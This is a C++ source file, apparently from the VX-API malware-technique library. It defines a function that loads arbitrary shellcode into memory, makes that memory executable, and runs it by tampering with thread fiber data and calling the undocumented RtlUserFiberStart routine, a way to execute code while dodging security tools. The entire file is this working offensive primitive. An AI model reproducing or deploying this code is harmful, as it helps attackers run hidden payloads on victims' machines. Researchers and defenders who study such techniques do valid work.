mirror of
https://github.com/vxunderground/VX-API
synced 2026-06-06 16:54:55 +00:00
47 lines
1.4 KiB
C++
47 lines
1.4 KiB
C++
#include "Win32Helper.h"
|
|
|
|
typedef int(WINAPI* RtlUserFiberStart)();
|
|
|
|
DWORD ProcessInjectFiberData(PCHAR Shellcode, DWORD Length)
|
|
{
|
|
NTSTATUS status;
|
|
DWORD OldProt = 0;
|
|
|
|
PTEB pTeb = GetTeb();
|
|
PVOID pTebFlags = (PVOID)((UINT_PTR)pTeb + 0x17ee);
|
|
*(PCHAR)pTebFlags = *(PCHAR)pTebFlags | 0x4;
|
|
|
|
|
|
HMODULE hModule = GetModuleHandleA("ntdll.dll");
|
|
RtlUserFiberStart pRtlUserFiberStart = (RtlUserFiberStart)GetProcAddress(hModule, "RtlUserFiberStart");
|
|
|
|
LPVOID BufferAddress = VirtualAlloc(NULL,
|
|
Length,
|
|
MEM_COMMIT | MEM_RESERVE,
|
|
PAGE_READWRITE);
|
|
|
|
RtlCopyMemory(BufferAddress, Shellcode, Length);
|
|
|
|
status = VirtualProtect(BufferAddress,
|
|
Length,
|
|
PAGE_EXECUTE_READ,
|
|
&OldProt);
|
|
|
|
if (status != 0)
|
|
{
|
|
UINT_PTR pFiberData = (UINT_PTR)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
0x100);
|
|
|
|
*(LPVOID*)(pFiberData + 0x0a8) = BufferAddress;
|
|
|
|
__writegsqword(0x20, pFiberData);
|
|
pRtlUserFiberStart();
|
|
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)pFiberData);
|
|
}
|
|
|
|
VirtualFree(BufferAddress, Length, MEM_RELEASE);
|
|
return 0;
|
|
}
|